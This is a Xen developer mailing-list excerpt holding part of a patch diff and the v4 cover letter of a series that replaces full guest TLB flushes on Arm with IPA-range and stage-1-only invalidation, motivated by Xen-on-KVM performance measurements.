+     * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
+     */
+    return flush_guest_tlb_local();
+}
+
+/*
+ * Flush TLB of inner-shareable processor domain. Use when flush for only
+ * stage-1 is intended.
+ *
+ * The following function should be used where intention is to clear only
+ * stage-1 TLBs. This would be helpful in future in identifying which stage-1
+ * TLB flushes can be skipped such as in present of FEAT_nTLBPA.
+ */
+static inline void flush_guest_tlb_s1(void)
+{
+    /*
+     * Same instruction can invalidate both stage-1 and stage-2 TLBs depending
+     * upon the execution context.
+     *
+     * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
+     */
+    return flush_guest_tlb();
+}
+
 /* Flush TLB of local processor for address va. */
 static inline void __flush_xen_tlb_one_local(vaddr_t va)
 {
@@ -60,6 +97,22 @@ static inline void __flush_xen_tlb_one(vaddr_t va)
 /* Only for ARM64_WORKAROUND_REPEAT_TLBI */
 static inline void __tlb_repeat_sync(void) {}
 
+/*
+ * Flush a range of IPA's mappings from the TLB of all processors in the
+ * inner-shareable domain.
+ */
+static inline void flush_guest_tlb_range_ipa(paddr_t ipa,
+                                             unsigned long size)
+{
+    /*
+     * Following can invalidate both stage-1 and stage-2 TLBs depending upon
+     * the execution mode.
+     *
+     * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
+     */
+    flush_guest_tlb();
+}
+
 #endif /* __ASM_ARM_ARM32_FLUSHTLB_H__ */
 /*
  * Local variables:
diff --git a/xen/arch/arm/include/asm/arm64/flushtlb.h b/xen/arch/arm/include/asm/arm64/flushtlb.h
index 1606b26bf2..cbe2a0da57 100644
--- a/xen/arch/arm/include/asm/arm64/flushtlb.h
+++ b/xen/arch/arm/include/asm/arm64/flushtlb.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_ARM_ARM64_FLUSHTLB_H__
 #define __ASM_ARM_ARM64_FLUSHTLB_H__
 
+#include <xen/sizes.h> /* For SZ_* macros. */
+
 /*
  * Every invalidation operation use the following patterns:
  *
@@ -67,6 +69,12 @@ TLB_HELPER_LOCAL(flush_guest_tlb_local, vmalls12e1)
 /* Flush innershareable TLBs, current VMID only */
 TLB_HELPER(flush_guest_tlb, vmalls12e1is)
 
+/* Flush local TLBs, current VMID, stage-1 only */
+TLB_HELPER(flush_guest_tlb_s1_local, vmalle1, nsh)
+
+/* Flush innershareable TLBs, current VMID, stage-1 only */
+TLB_HELPER(flush_guest_tlb_s1, vmalle1is, ish)
+
 /* Flush local TLBs, all VMIDs, non-hypervisor mode */
 TLB_HELPER_LOCAL(flush_all_guests_tlb_local, alle1)
 
@@ -116,6 +124,60 @@ static inline void __tlb_repeat_sync(void)
         : : : "memory");
 }
 
+/*
+ * Complete a broadcast TLBI sequence.
+ *
+ * For all relevant errata it is only necessary to execute a single
+ * additional TLBI;DSB sequence after the invalidation sequence has completed.
+ */
+static inline void tlbi_complete_broadcast(void)
+{
+    __tlb_repeat_sync();
+    dsb(ish);
+    isb();
+}
+
+/*
+ * Flush a range of IPA's mappings from the TLB of all processors in the
+ * inner-shareable domain.
+ */
+static inline void flush_guest_tlb_range_ipa(paddr_t ipa, unsigned long size)
+{
+    paddr_t end;
+
+    /*
+     * If IPA range is too big (empirically found to be 256M), then fallback to
+     * full TLB flush.
+     */
+    if ( size > SZ_256M )
+        return flush_guest_tlb();
+
+    end = ipa + size;
+
+    /*
+     * See ARM ARM DDI 0487L.b D8.17.6.1 (Invalidating TLB entries from stage 2
+     * translations) for details of TLBI sequence.
+     */
+    dsb(ishst); /* Ensure prior page-table updates have completed */
+    while ( ipa < end )
+    {
+        /* Flush stage-2 TLBs for IPA address */
+        asm_inline volatile(
+            "tlbi ipas2e1is, %0"
+            : : "r" (ipa >> PAGE_SHIFT) : "memory");
+        ipa += PAGE_SIZE;
+    }
+
+    /*
+     * Invalidate stage-1 entries for the current VMID as well. Keep this
+     * separate from completion of the broadcast TLBI sequence so that the
+     * final barriers/workaround are explicit.
+     */
+    asm_inline volatile("tlbi vmalle1is" : : : "memory");
+
+    tlbi_complete_broadcast();
+}
+
 #endif /* __ASM_ARM_ARM64_FLUSHTLB_H__ */
 /*
  * Local variables:
diff --git a/xen/arch/arm/include/asm/mmu/p2m.h b/xen/arch/arm/include/asm/mmu/p2m.h
index 58496c0b09..8a16722b82 100644
--- a/xen/arch/arm/include/asm/mmu/p2m.h
+++ b/xen/arch/arm/include/asm/mmu/p2m.h
@@ -10,6 +10,8 @@ extern unsigned int p2m_root_level;
 
 struct p2m_domain;
 void p2m_force_tlb_flush_sync(struct p2m_domain *p2m);
+void p2m_force_tlb_flush_range_sync(struct p2m_domain *p2m, uint64_t start_ipa,
+                                    uint64_t page_count);
 void p2m_tlb_flush_sync(struct p2m_domain *p2m);
 
 void p2m_clear_root_pages(struct p2m_domain *p2m);
diff --git a/xen/arch/arm/mmu/p2m.c b/xen/arch/arm/mmu/p2m.c
index 51abf3504f..525afcc210 100644
--- a/xen/arch/arm/mmu/p2m.c
+++ b/xen/arch/arm/mmu/p2m.c
@@ -231,37 +231,33 @@ void p2m_restore_state(struct vcpu *n)
     isb();
 
     /*
-     * Flush local TLB for the domain to prevent wrong TLB translation
-     * when running multiple vCPU of the same domain on a single pCPU.
+     * This only needs to invalidate stage-1 TLB state. All vCPUs of the
+     * domain share the same p2m, and therefore the same effective stage-2
+     * translation regime.
      */
     if ( *last_vcpu_ran != INVALID_VCPU_ID && *last_vcpu_ran != n->vcpu_id )
-        flush_guest_tlb_local();
+        flush_guest_tlb_s1_local();
 
     *last_vcpu_ran = n->vcpu_id;
 }
 
 /*
- * Force a synchronous P2M TLB flush.
+ * Loads VTTBR from given P2M.
  *
  * Must be called with the p2m lock held.
+ *
+ * This returns switched out VTTBR.
  */
-void p2m_force_tlb_flush_sync(struct p2m_domain *p2m)
+static uint64_t p2m_load_vttbr(struct p2m_domain *p2m, unsigned long *flags)
 {
-    unsigned long flags = 0;
     uint64_t ovttbr;
 
-    ASSERT(p2m_is_write_locked(p2m));
-
-    /*
-     * ARM only provides an instruction to flush TLBs for the current
-     * VMID. So switch to the VTTBR of a given P2M if different.
-     */
     ovttbr = READ_SYSREG64(VTTBR_EL2);
     if ( ovttbr != p2m->vttbr )
     {
         uint64_t vttbr;
 
-        local_irq_save(flags);
+        local_irq_save(*flags);
 
         /*
          * ARM64_WORKAROUND_AT_SPECULATE: We need to stop AT to allocate
@@ -280,8 +276,14 @@ void p2m_force_tlb_flush_sync(struct p2m_domain *p2m)
         isb();
     }
 
-    flush_guest_tlb();
+    return ovttbr;
+}
 
+/*
+ * Restores VTTBR which was switched out as a result of p2m_load_vttbr().
+ */
+static void p2m_restore_vttbr(uint64_t ovttbr, unsigned long flags)
+{
     if ( ovttbr != READ_SYSREG64(VTTBR_EL2) )
     {
         WRITE_SYSREG64(ovttbr, VTTBR_EL2);
@@ -289,10 +291,66 @@ void p2m_force_tlb_flush_sync(struct p2m_domain *p2m)
         isb();
         local_irq_restore(flags);
     }
+}
+
+/*
+ * Force a synchronous P2M TLB flush.
+ *
+ * Must be called with the p2m lock held.
+ */
+void p2m_force_tlb_flush_sync(struct p2m_domain *p2m)
+{
+    unsigned long flags = 0;
+    uint64_t ovttbr;
+
+    ASSERT(p2m_is_write_locked(p2m));
+
+    /*
+     * ARM only provides an instruction to flush TLBs for the current
+     * VMID. So switch to the VTTBR of a given P2M if different.
+     */
+    ovttbr = p2m_load_vttbr(p2m, &flags);
+
+    flush_guest_tlb();
+
+    p2m_restore_vttbr(ovttbr, flags);
 
     p2m->need_flush = false;
 }
 
+/*
+ * Force a synchronous P2M TLB flush on a range of addresses.
+ *
+ * Must be called with the p2m lock held.
+ */
+void p2m_force_tlb_flush_range_sync(struct p2m_domain *p2m, uint64_t start_ipa,
+                                    uint64_t page_count)
+{
+    unsigned long flags = 0;
+    uint64_t ovttbr;
+
+    ASSERT(p2m_is_write_locked(p2m));
+
+    if ( !page_count )
+        return;
+
+    /*
+     * ARM only provides an instruction to flush TLBs for the current
+     * VMID. So switch to the VTTBR of a given P2M if different.
+     */
+    ovttbr = p2m_load_vttbr(p2m, &flags);
+
+    /* Invalidate TLB entries by IPA range */
+    if ( unlikely(page_count > ULONG_MAX / PAGE_SIZE) )
+        flush_guest_tlb();
+    else
+    {
+        flush_guest_tlb_range_ipa(start_ipa, page_count * PAGE_SIZE);
+    }
+
+    p2m_restore_vttbr(ovttbr, flags);
+}
+
 void p2m_tlb_flush_sync(struct p2m_domain *p2m)
 {
     if ( p2m->need_flush )
@@ -1034,7 +1092,8 @@ static int __p2m_set_entry(struct p2m_domain *p2m,
          * For more details see (D4.7.1 in ARM DDI 0487A.j).
          */
         p2m_remove_pte(entry, p2m->clean_pte);
-        p2m_force_tlb_flush_sync(p2m);
+        p2m_force_tlb_flush_range_sync(p2m, gfn_x(sgfn) << PAGE_SHIFT,
+                                       1UL << page_order);
 
         p2m_write_pte(entry, split_pte, p2m->clean_pte);
 
@@ -1090,8 +1149,8 @@ static int __p2m_set_entry(struct p2m_domain *p2m,
         p2m_remove_pte(entry, p2m->clean_pte);
 
     if ( removing_mapping )
-        /* Flush can be deferred if the entry is removed */
-        p2m->need_flush |= !!lpae_is_valid(orig_pte);
+        p2m_force_tlb_flush_range_sync(p2m, gfn_x(sgfn) << PAGE_SHIFT,
+                                       1UL << page_order);
     else
     {
         lpae_t pte = mfn_to_p2m_entry(smfn, t, a);
@@ -1102,18 +1161,10 @@ static int __p2m_set_entry(struct p2m_domain *p2m,
         /*
          * It is necessary to flush the TLB before writing the new entry
          * to keep coherency when the previous entry was valid.
-         *
-         * Although, it could be defered when only the permissions are
-         * changed (e.g in case of memaccess).
          */
         if ( lpae_is_valid(orig_pte) )
-        {
-            if ( likely(!p2m->mem_access_enabled) ||
-                 P2M_CLEAR_PERM(pte) != P2M_CLEAR_PERM(orig_pte) )
-                p2m_force_tlb_flush_sync(p2m);
-            else
-                p2m->need_flush = true;
-        }
+            p2m_force_tlb_flush_range_sync(p2m, gfn_x(sgfn) << PAGE_SHIFT,
+                                           1UL << page_order);
         else if ( !p2m_is_valid(orig_pte) ) /* new mapping */
             p2m->stats.mappings[level]++;
 
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:55:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:55:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367523.1617265 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Je-0004xu-9k; Tue, 21 Jul 2026 07:55:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367523.1617265; Tue, 21 Jul 2026 07:55:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Je-0004xn-6w; Tue, 21 Jul 2026 07:55:02 +0000
Received: by outflank-mailman (input) for mailman id 1367523;
 Tue, 21 Jul 2026 07:55:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <haseebashraf091@gmail.com>) id 1wm5Jc-0004xh-I0
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:55:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Jb-00E2ej-O6
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:54:59 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25c1-2eae-0a2a0a5409dd-0a2a450193d0-32
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:54:59 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25d3-5984-0a2a45010019-d1558032c422-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:54:59 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-4954df200ddso21552875e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:54:59 -0700 (PDT)
Received: from PKL-HASEEBA-LT.. ([139.135.37.55])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956537c7desm64018485e9.7.2026.07.21.00.54.55
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 21 Jul 2026 00:54:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784620499; x=1785225299; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=/DA1flYZrLnr3pT99vJmWvln9YXqGU9jEeeo0V52gbU=;
        b=EkkqugL4U56oM2ByN9X2Ddrj0ogBi8IA5FriAFgNM0dhLteho8JAF6uasrAvX8h2LT
         g4JLRpKDHiehGwcReKTktoWAVK2PwJU2jntqksYrzhZj61YHUQfdMdp+cP4p2661WQvi
         rfWP+Cw1hWJOxx055KKs7oP3gV+BQC53SuoJI5O2vxkr5YlZzQRVizV+DOSFtcK7M2wF
         7hFWcG1bhv3EKYn5xcIynOxRPTU2fo5sY9jMT6pToizc87zedaBfOPlKUb6Ye+AgKbWo
         CFWv+b4hXgUGdHQmcOdghAuA0zTHew3qehE5R1qia2XFncLJRUKA3S6U59amsokyUeNG
         5pUQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784620499; x=1785225299;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=/DA1flYZrLnr3pT99vJmWvln9YXqGU9jEeeo0V52gbU=;
        b=I6s3+Qm+6Wb8SId6Hl6BuiHZubAru3TH+dnUtnTOrsDZY8RWGhy4tvFsiYy9ThcGyD
         4FONQXGfM65M1lqN/h0L7YVOyEJXj5Ktdldcnsl2ojJt1cUWGkYE2Cyx1dPPca1CYYI4
         Iai0F05jXiZTBy6ew6l4WOpR26X2in8KLYedOlGHiBqHMg1UfdmuoHZY3V96eZ+aYA4N
         zBAteMKAxNqRovHdMR9yVkwMRs0eA+9zKoubo99Gg1yXVvPX+YziY0F1EByyVb8weXgD
         PeO+lBHbWjVlTu/otXbEkaoZAPLbfdvOroRiwRIEZqCaE+yh7vsoDM4rj1jr92X42iPF
         9ZuA==
X-Gm-Message-State: AOJu0YyzLe24XjhMZ3bK8+9ALaF115NHvg141QS9IejMp0Cxvtgn2Fe3
	8CFcsIM9CiUZ1f1277VURNcxSTjA4Qd45zqYC+kE8azI4vtnOnIJDti/+xFkHCJS
X-Gm-Gg: AfdE7cn7XVzyq5/mXEJjA/yLbPzrFJIdOQkylSzqIeGwWJGphK/YrZBVmQ907Hiq1ou
	1+TJmb7e/H3Gu+W6Qka53yWHo/mJ59VQuXY5BVNZ9oh1G0MU5CCobDptaFoLwRQE4Fj7DwSn0zQ
	3mL88hIT8SdcEpk619J1AsrD8NnB3wfya/WCTFtgPjSf8MzH9RjlY8jTYXm8klp5sUw9T7JOr4D
	ZQSOmGX312WT1fEUaFmEtf8vBfrcZCU5H5i7MljHaaYK6GW/rs2wocGKyOWAiPMez9s+Vvyfu13
	XBHimBfm+X1ovf2FY9PHHdd/Gdi8mjBNezvzH76wnS3wjwhcBPR8KMUo2gU2CeEJjR1uonqwx0A
	0KoB8ZdgUIt/YJYqFf6e+ktzxknuUi4a97gviMh3gBH4svebKYkkMVWxwMiIoNOUuPpWQJeqBW0
	Miit2tXuJZmEZ4aEuYncd8e8KPzOGyW+yLkt8ZGemQWtZEVfjHonXaeA==
X-Received: by 2002:a05:600c:4f09:b0:495:5b32:df72 with SMTP id 5b1f17b1804b1-4955b32e0c7mr101439545e9.35.1784620498561;
        Tue, 21 Jul 2026 00:54:58 -0700 (PDT)
From: Haseeb Ashraf <haseebashraf091@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: haseeb.ashraf@siemens.com,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [XEN][RESEND][PATCH v4 0/3] xen/arm{32,64}: perform IPA-based TLBI when IPA is known
Date: Tue, 21 Jul 2026 12:54:48 +0500
Message-ID: <cover.1765197209.git.haseeb.ashraf@siemens.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784620499-BCF47757-C9F5DF39/0/0
X-purgate-type: clean
X-purgate-size: 4312

From: Haseeb Ashraf <haseeb.ashraf@siemens.com>

This patch series addresses a major performance issue when running Xen as
an L1 hypervisor on KVM, where emulation of VMALLS12E1IS is significantly
more expensive than narrower invalidation sequences and becomes especially
problematic when invoked frequently.

Two common cases are affected:

  (a) vCPU migration on a pCPU, where Xen currently flushes combined
      stage-1+stage-2 guest translations even though the stage-2 regime is
      shared at the domain p2m level.

  (b) teardown of DomU mappings exported into Dom0, where
      XENMEM_remove_from_physmap can trigger repeated full guest TLB
      invalidation even when the affected IPA range is known.

This series reduces reliance on full guest TLB invalidation and prefers
IPA-based invalidation where possible.

Patch 1 introduces IPA-based invalidation in the p2m code when the
affected IPA range is known, and uses stage-1-only invalidation for the
vCPU migration case.

Patch 2 optimizes combined stage-1/stage-2 invalidation in the presence
of FEAT_nTLBPA by avoiding redundant stage-1 invalidation.

Patch 3 adds Arm32 capability detection for TLBI-by-IPA and uses it in
the IPA-range helper when FEAT_nTLBPA is also present. When that
combination is unavailable, Arm32 retains the conservative full-flush
behaviour.

The Arm64 IPA-range helper has also been reworked in v4 to make the TLBI
sequence more explicit:
  - stage-2 invalidation by IPA is performed in a loop,
  - stage-1 invalidation is issued separately only when required,
  - completion of the broadcast TLBI sequence (including the repeat-TLBI
    workaround) is handled explicitly rather than being piggybacked onto a
    stage-1 helper.

This makes the intended semantics clearer and avoids relying on hidden
barrier/workaround side effects.

Measured on Graviton4 with Xen-on-KVM, a full guest TLBI was observed to
be roughly comparable in cost to tens of thousands of single-page
IPA-based invalidations, which motivates using a bounded IPA-based loop
for smaller ranges and falling back to full invalidation above a
threshold.

For Arm64, the 256MB threshold is based on those measurements. For Arm32,
the same cutoff is reused as a conservative practical bound rather than
as an Arm32-specific tuned value.

Haseeb Ashraf (3):
  xen/arm/p2m: perform IPA-based TLBI when IPA is known
  xen/arm: optimize stage-1,2 combined TLBI in presence of FEAT_nTLBPA
  xen/arm32: use IPA-based TLBI when supported with FEAT_nTLBPA

Changes in v4:
- Rebased on master branch
- Reworked the Arm64 IPA-based TLBI sequence to make completion of the
  broadcast TLBI explicit instead of relying on a stage-1 helper for the
  final barriers/workaround.
- Reused __tlb_repeat_sync() for repeat-TLBI workaround handling in the
  Arm64 completion path.
- Fixed the Arm32 IPA-based TLBI helper to fall back to a full guest TLB
  flush when the required capability combination is unavailable, instead
  of becoming a no-op.
- Added a small robustness check in p2m_force_tlb_flush_range_sync().
- Refined comments and commit messages to make the architectural intent
  clearer.

Changes in v3:
- Mainly reworked handling of the repeat-TLBI workaround with IPA-based
  TLBI so that the extra TLBI and DSB are applied only at completion of
  the overall sequence.
- Updated code comments as per feedback. Further details are available in
  each commit's changelog.
- Minor code updates as per feedback. Further details are available in
  each commit's changelog.

Changes in v2:
- Split the original change into three commits. The first commit
  implements the baseline implementation without adding new CPU
  capabilities. CPU capability handling is introduced in follow-up
  commits to make each optimization clearer.
- Moved Arm32 and Arm64 specific TLBI implementations to the respective
  architecture-specific flushtlb.h.
- Added ARM ARM references in code comments.
- Added a threshold to select between IPA-based invalidation and
  fallback to full guest invalidation above that threshold.
- Introduced ARM_HAS_NTLBPA CPU capability for both Arm32 and Arm64.
- Introduced ARM32_HAS_TLB_IPA CPU capability for Arm32 IPA-based TLBI.

-- 
2.43.0


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:55:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:55:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367525.1617284 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Ji-0005Oi-RX; Tue, 21 Jul 2026 07:55:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367525.1617284; Tue, 21 Jul 2026 07:55:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Ji-0005OZ-OG; Tue, 21 Jul 2026 07:55:06 +0000
Received: by outflank-mailman (input) for mailman id 1367525;
 Tue, 21 Jul 2026 07:55:06 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <haseebashraf091@gmail.com>) id 1wm5Jh-0005Nt-Uh
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:55:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Jh-001akS-4C
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:55:05 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25d7-bab6-0a2a0a5309dd-0a2a45028c5c-6
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:05 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25d8-6ca4-0a2a45020019-d155802cf148-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:05 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-49548aebcd8so25133395e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:55:05 -0700 (PDT)
Received: from PKL-HASEEBA-LT.. ([139.135.37.55])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956537c7desm64018485e9.7.2026.07.21.00.55.01
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 21 Jul 2026 00:55:03 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784620504; x=1785225304; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=l1YwPtqEAgkhkVo9sNpi4i947+4EUoWWzwp3eKb1YOA=;
        b=ou7ygeDv2ecqmZ/YD/vdNCOtSb4T9dGPoMEzQrxgrIjRV/j1kA4RIg23VooO2FbYX6
         IKr//XpUNGzI85LwjR+OSwPxqw3Cm0LS6x0qxBf/XmGRrFKAJQv1ObwNQjmVTNThd705
         ITnxHZzfEcnkQ3rtoiyw01UVYiKu5M19JuFRSn5pli7LV0M8o9y4eFeD1Cr9PM0vVKJM
         rFRzQfRpWrB6jAguzy1JTSSxx3zSppu8rH2BM7JBheICSlRIgRLYc4H8yr3GBlYuJBWc
         hjvpA5dZ4fekXJLstssExLm/0scBsmuEiVU2Cc4E2ErGSVUuyuMrvnu3v5VI1t2xyCfW
         uTAw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784620504; x=1785225304;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=l1YwPtqEAgkhkVo9sNpi4i947+4EUoWWzwp3eKb1YOA=;
        b=Lf/4iAKuS+nBfS+ZOGyLOZVwsrWu2ezAP31u45HfAFpM0UlVku3k8AB2nC543mpbRp
         6jYNjSJQEz1rAMxxYt3iDDnY6n8rvmbQmlFF9O2x0wHkvnYbo8MlQE1ehqdmOY47xMnt
         62NeIH42yTTWAkY/a3tGLRGxX1BGW9e3X21RtBjapM5LCjtBcuFfV8jKPLZwWf+NLFfb
         M1fp5izHwJSY9KOquWv+U4kIj+7pHTK9Y35l3fXFjg6SStFJ+Sns8yUq5NB4QJcde2mx
         LND3XQH8NfYaycHAOAOovPYBLuaP7HMHGYHSifu5gm3RqHMZrY+sNIRmCqMVUhhLbuAL
         WB1Q==
X-Gm-Message-State: AOJu0Yz6yWK4cfYdDI3/D8NRFwGoKfxBbfjERAqx6r7B5nqbDw5oFPAW
	1sk6Ir/dmXqOF8uxoP3H3n5rtjM51+YmXijedqwaZ3Fa2IN5ukVRO4GwcdlpAD52
X-Gm-Gg: AfdE7cleyvlq5WWx7WR3vALlpqGdsFWs635BehbTEUOIo0rqJU8p9uOI2M9NAjbB3EP
	j6ifP4Q7o9+FqW4edukULi3i9VbA3i6PfMEiTWRCcxMtTIRrusSoO7tpnFxCpuS7RQNMXlmcz5q
	WGNvT5ehHdCvZ+KRGDhAldTLs3bmKnkjRqhdufOy+cZG1is5g/cC01jCdXmczHc9ALQEcppuONV
	QEixr5eDbYJXl5y/pQrSi8ydDiqIX4YJyKMBIgUvwopOk9eS9xwbGBq8AWb/E3S7MnVBN7/acX2
	w83HRxxpsveN5PauM4Rc2KiasTVwqhzUB4cugISr6udS9ptzjo8w+UDKnZB9p94sEo3CbnbEcLW
	nAOejJwJr17E3XNznJGCmFlzTc59G9TuIIJt88E/MXKqZHZXA4gHX/Ty0fwe2YGR1PF29b5ovf3
	YZwkh/m9CaY3rzYCH9zOy9+8wZCH8nI22FC3wr/JfW8mI=
X-Received: by 2002:a05:600c:3112:b0:495:472c:208d with SMTP id 5b1f17b1804b1-4954a41307cmr179462365e9.38.1784620504275;
        Tue, 21 Jul 2026 00:55:04 -0700 (PDT)
From: Haseeb Ashraf <haseebashraf091@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: haseeb.ashraf@siemens.com,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Mohamed Mediouni <mohamed@unpredictable.fr>
Subject: [XEN][RESEND][PATCH 2/3] xen/arm: optimize stage-1,2 combined TLBI in presence of FEAT_nTLBPA
Date: Tue, 21 Jul 2026 12:54:50 +0500
Message-ID: <ed2e6c02d99bf75b6e6dfc0b7275573c58f4e076.1784619778.git.haseeb.ashraf@siemens.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <e933703bf76cbc33e5d05a023900389fd6a9f925.1784619778.git.haseeb.ashraf@siemens.com>
References: <e933703bf76cbc33e5d05a023900389fd6a9f925.1784619778.git.haseeb.ashraf@siemens.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1784620505-31FD62AC-B943B358/0/0
X-purgate-type: clean
X-purgate-size: 11048

From: Haseeb Ashraf <haseeb.ashraf@siemens.com>

FEAT_nTLBPA guarantees that intermediate caching of translation table
walks does not retain non-coherent cached copies of previously valid
translation table entries since the last completed applicable TLBI.

